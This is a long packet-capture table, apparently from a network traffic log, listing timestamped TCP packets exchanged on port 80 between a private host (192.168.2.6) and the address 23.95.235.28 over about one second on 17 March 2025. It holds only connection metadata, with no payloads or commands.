Mar 17, 2025 01:19:05.973124027 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:05.973130941 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:05.973135948 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:05.973167896 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:05.973212957 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:05.973287106 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:05.973298073 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:05.973308086 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:05.973320007 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:05.973330975 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:05.973341942 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:05.973351955 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:05.973366976 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:05.973378897 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:05.973387003 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:05.973402023 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:05.973408937 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:05.973417044 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:05.973428965 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:05.973445892 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:05.973464966 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:05.973464966 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:05.973489046 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:05.976475954 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:05.976490021 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:05.976501942 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:05.976537943 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:05.976576090 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:05.976624966 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:05.976636887 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:05.976649046 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:05.976660967 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:05.976672888 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:05.976684093 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:05.976697922 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:05.976705074 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:05.976716042 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:05.976732969 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:05.976816893 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.059992075 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060024023 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060038090 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060056925 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060069084 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060081005 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060094118 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060148954 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060159922 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060170889 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060192108 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.060199976 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060214043 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060228109 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060235023 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.060245991 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060259104 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060275078 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060285091 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.060285091 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.060296059 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060313940 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060323000 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.060326099 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060338020 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.060376883 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.060445070 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060456991 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060470104 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060486078 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060497999 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060509920 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060522079 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060534000 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.060535908 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060573101 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.060574055 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.060585976 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060601950 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060606003 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.060614109 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060633898 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060646057 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060659885 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.060659885 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.060661077 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060676098 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060695887 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060708046 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060715914 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.060715914 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.060750961 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.060775995 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060790062 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060801029 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060839891 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.060842037 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060848951 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.060856104 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060885906 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.060889006 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060900927 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060910940 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060914040 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.060956955 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.060957909 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060956955 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.060969114 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.060981035 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061008930 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.061033010 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061041117 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.061045885 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061096907 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.061096907 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061110020 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061116934 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.061121941 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061132908 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061145067 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061161995 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.061202049 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.061202049 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.061233044 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061244011 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061254978 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061301947 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.061301947 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.061428070 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061450005 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061463118 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061474085 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061486959 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061501026 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061503887 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.061503887 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.061516047 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061549902 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061563015 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061570883 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.061570883 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.061573982 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061585903 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061598063 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061609030 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061613083 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.061621904 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061631918 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061645031 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061649084 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.061697006 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.061697006 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.061701059 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061713934 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061733961 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061744928 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061758041 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061768055 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.061768055 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.061769009 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061780930 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061794996 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.061800957 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061841011 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.061851978 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.061938047 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061950922 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061964989 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.061996937 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062006950 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.062011957 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062025070 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062040091 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.062042952 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062055111 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062067032 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062110901 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.062128067 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.062128067 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.062150955 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062165022 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062175989 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062187910 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062199116 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062210083 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062217951 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.062227011 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062239885 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062251091 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.062282085 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.062331915 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.062387943 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062400103 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062418938 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062463045 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062463999 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.062463999 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.062474966 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062488079 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062503099 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062515974 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062526941 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062532902 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.062532902 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.062582016 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.062602043 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062614918 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062627077 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062638998 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062654972 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.062657118 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062674999 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062681913 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.062685013 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.062740088 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.062740088 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.148696899 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.148721933 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.148735046 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.148747921 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.148760080 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.148782969 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.148788929 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.148803949 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.148816109 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.148830891 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.148849010 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.148853064 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.148869038 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.148871899 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.148884058 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.148902893 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.148902893 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.148916006 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.148922920 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.148927927 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.148941040 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.148976088 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.148976088 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.149015903 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.149035931 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149049044 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149060011 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149071932 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149085045 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149099112 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149101973 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.149117947 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149128914 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149141073 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149149895 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.149152994 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149158955 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.149168015 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149185896 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149204016 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149216890 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149223089 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.149223089 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.149230957 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149250031 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149259090 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.149261951 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149275064 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149291992 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.149324894 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.149339914 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149352074 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149363995 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149375916 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149388075 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149405956 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.149418116 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.149436951 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149451017 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.149456978 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149471045 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149486065 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149497986 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149517059 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.149517059 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149533987 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149545908 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149545908 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.149545908 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.149588108 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149602890 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149615049 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149626017 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.149626017 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.149629116 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149665117 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.149702072 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149708986 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.149713993 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149725914 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149738073 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149755955 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.149789095 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149801016 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149805069 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.149811983 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149822950 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149835110 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149842024 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.149848938 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149888039 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149893045 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.149893045 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.149898052 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149936914 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.149949074 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149952888 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.149960995 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.149972916 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.150007963 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.150007963 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.150037050 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.150049925 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.150063992 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.150083065 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.150094986 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.150105953 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.150110006 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.150110006 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.150146008 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.150162935 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.150187016 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.150198936 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.150208950 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.150218964 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.150230885 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.150242090 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.150254011 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.150268078 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.150268078 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.150299072 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.150299072 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.150310993 CET	80	49695	23.95.235.28	192.168.2.6
Mar 17, 2025 01:19:06.150319099 CET	49695	80	192.168.2.6	23.95.235.28
Mar 17, 2025 01:19:06.150321960 CET	80	49695	23.95.235.28	192.168.2.6
